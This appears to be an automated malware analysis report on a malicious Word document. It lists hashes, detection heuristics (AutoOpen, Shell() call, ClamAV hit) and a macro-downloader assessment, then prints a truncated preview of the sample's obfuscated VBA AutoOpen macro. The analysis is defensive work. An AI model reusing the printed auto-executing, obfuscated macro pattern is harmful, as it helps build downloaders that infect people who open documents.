Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bdc8907c19b321df…

MALICIOUS

Office (OLE)

114.9 KB Created: 2018-09-27 14:16:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: df7f77dd3d5fcb10299cc518c2727c00 SHA-1: 5fb6ae8ccb34cb2f2c1f9d772b814470140c59e0 SHA-256: bdc8907c19b321df8a53d24339287ecda858fb09c10c4f6fd04d818a72553e34
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The 'OLE_VBA_SHELL' heuristic firing indicates the use of the Shell() function, strongly suggesting the macro attempts to download and execute a secondary payload. No specific family could be identified, but the technique is indicative of a macro-based downloader.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699778-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699778-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20476 bytes
SHA-256: 2a5f077b5463d824d5f33f2b4d8bbd3ed514e519f5ea283036d163831ee0e252
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "idowImtn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim CUFYYs(2)
CUFYYs(0) = Right(dhHhaW + mZsaKcJNQuEDiSiXHhc + OpuIjj, 80) + Left(nJCkP + KFLIzcwzYPrwJEfMU + QjLwD, 299) + InStrRev(wCCwwcQ + mXwLKRwLkAwLrJof + YCcPaMpA, srPazl + PzzsijtAqGmQPNUTwk + wSLHGp) + Left(GUiPwz + HfhMwtlHbzMsVKbBZ + dEXbzS, 123)
CUFYYs(1) = InStrRev(QhwMQD + ENZAfplobMEUEsCdo + nikHjffE, SDzMtO + HqKqtRRasTNaDBvPXFkGk + lRBvLiEO) + InStrRev(jwlTJRF + OrPBnlwaIWjarzfihoJLV + dJvOofS, CWPNJMf + KwJEmbAaGwFftHoDMU + bGwJRC)
   Dim PQsKi(2)
PQsKi(0) = InStr(LjpOfZiA + qmtAArUkKkLvBjXPmFnK + HrlkPj, OXZHEO + ZPrGAkiJMLlEqDbtziA + UuhiJOJ) + InStrRev(OjYTcZXE + DViMYUzdUZpZPNmIUuDB + KiJiBWvb, IpiJKMRf + YGJFpTvmjAUjqnNbwd + TFzXt) + Left(cXMdQ + DthBzpvoFLvUYEnLGpAswa + DdHGGKU, 697) + InStrRev(wiXHYQrM + jYSWqFwDBlbDLpzEkzojL + nwRjA, RuiKlPB + hTHVbMSGsHNfvpHRzOTABz + KHvjDW)
PQsKi(1) = Right(QDYhb + zIcOmpCHhjQaNVpvHw + DqVnY, 89) + Right(qRDTsYkz + FnCUGjwwCsjYMLXQLRwC + zWuZhkqi, 744)
   Dim KwGvT(1)
KwGvT(0) = InStrRev(friOks + jwQSHHpVPtdjILFpahdco + lrJiwG, SMDkT + cwfaGnnlCfDIVcGjW + bTmwb) + InStrRev(qblcFFjw + kODYjDZzMqaqWQVMoK + wvaubCD, PAwHun + jXcdAzBljoLvYhHdF + WvmRLdl) + Right(daJEmjC + cspTPOpFZanJpjHqjDUQDH + ZUJpiLz, 561) + InStrRev(DjYcWXL + UldwlCMMHclLEdPjvcLLDVz + GhwEvT, wXXnSwVV + sbuNBbNLIZabtGuLY + OiSwYwcd)
   Dim Gjkmu(1)
Gjkmu(0) = InStr(CHKsr + zNjFEGkTGMwYORBTJtpndQ + AajGfmji, YimQm + awBtlGIXwzJaNQktqAjM + tudDjtG) + InStrRev(DUpzO + wHnhZzBVVftSdtNrMiE + scQCT, VYPBYY + wsthLNOjJljIwuRio + zPwCKUC)
   Dim APTRtO(1)
APTRtO(0) = Right(VVVOF + jrhijDBbjRtzLDujwdBz + IhzDWYO, 311) + Left(DcIKrzo + bUopOuRYvOfuqVDYmIC + hDwvjpzo, 836)
   Dim CiNabV(1)
CiNabV(0) = InStr(pVvpcUi + VjRDtOjCaQtUHcp + lBLjYZj, zjErd + zaJdzYvkJcbbiwmXTXlf + KfFrLh) + InStrRev(LHBfF + cQvOzEbTEIEGQkOvpPTEZ + RPazzrzf, pQVPj + mCdcttGpwzcJnEnLsz + EaZdYi)
   Dim Qwavj(2)
Qwavj(0) = InStrRev(LEoQL + SwrmfLTlKwCowXScBRiA + kGutGI, ZPsMt + FpNQzhBJnbziGRozvEYiiB + PjfETYjw) + Right(ktjjzG + KLDHauOwrjHiOlaJiHZCJ + NEmMGS, 545)
Qwavj(1) = InStrRev(poHIkqwa + ThVvtzwXXlIujKlll + iXIBdRY, wOtWq + sPjVFGjtqFDfDBowwmsT + iLmuAv) + InStr(BsWBsZGQ + nLUMALshrsvdzaQ + tutOiSS, OshLk + DSLdjHOVfraXvzpzsSGhiq + SwLKQPj) + InStrRev(FpDlj + zasiNPkWWnccmZYvWl + KnBsjHl, toiHw + DuaotczWcCdBjiwhqM + cktbiI) + InStr(ouBsbK + ijEVGEIbrIDIQfawDA + oUHNiL, VwRzKIB + cizqzzYGrMAhhGPBzq + jRmFr)
   Dim GDKRXw(2)
GDKRXw(0) = Left(phsJuC + uTdRcXThkYBTbVDrZz + onPWKEwW, 50) + Right(iFADQijw + ZPDsNQnKihAVodMHkNWi + PbRmJp, 19)
GDKRXw(1) = InStr(PYMdz + fstLiMaEhbrzkdizp + BojqJ, AXKTc + lPffOrhNJKmLniwmZrEfsa + EKQYXq) + InStrRev(OzSaiYZa + WOQRXKVJmjjmEcWwlmwlo + hXIBRdIM, EnnGDi + TiMOwHvJltZccwYjIUDaazE + dqhEPzVq) + Left(ZAFIzW + vcqPcFBSQDmOtjnEoK + GlJYf, 44) + InStr(DGUJp + NcDqiFAFfKAbMUQVkiTj + GMzjuk, RZbkU + TkEtUkqlbzOkuvhT + mTKuJuJn)
AQKjAulVpRWZpw (KeyString(fGLXR + HmnELC + 1 + 17 + 49 + ciBBYc + SfhwpiK) + mnZZh + iQvahmFZ + KeyString(jjBUwf + tskahc + 1 + 20 + 56 + AZOGzvZF + hqDfZ) + jLOkpu + EjNzaOUVNm + qdVYzEnTO + XsrnWTzYw + TrjJF + UnzJlKmV)
   Dim wCzAK(2)
wCzAK(0) = Left(mowffhC + QNwDPbMRRkALLbjoiRHiwR + NVIVuU, 62) + InStrRev(DtJXqf + ThacVzqotbJiBlbwrwpjIpN + iArmHqcj, rWSjQabN + HiNrjwdBRnvGiCpC + CNTHZY) + InStrRev(Fhcdan + ACztwhvjzWalKvdEUuk + jEvkKfw, sCnEu + SRXaCphvRhzifsNNulKrED + tVwGBD) + InStrRev(cMiir + otzwabmtqjfjHaoVvMzK + wdPDKfWi, wGEost + PUXzusLuVUiQEbzkji + AMlcM)
wCzAK(1) = Right(cBcsvMWz + KzlAKVPpzMvJzJXnJa + usSYwmEi, 544) + Left(ZjaJqq + WTmhsXrCzLZnqIrzh + Qkfmamd, 2) + Left(COJYHLav + BjQpjvckwtZjlBFCkO + PWYUij, 934) + InStrRev(GhjhU + fJtwidfYVFtqhzRB + auAEi, BBViLD + VEkLstwimwHPQSXrEPs + KLdWAWwR)
   Dim XbZqr(1)
XbZqr(0) = Right(vWkjw + hblEiUOhMJJjtzTCYUlp + kXNiTHX, 252) + InStrRev(JYhrcBp + hhXSimPtBTvmQwBzlFmwa + LPcaX, covMFf 
... (truncated)

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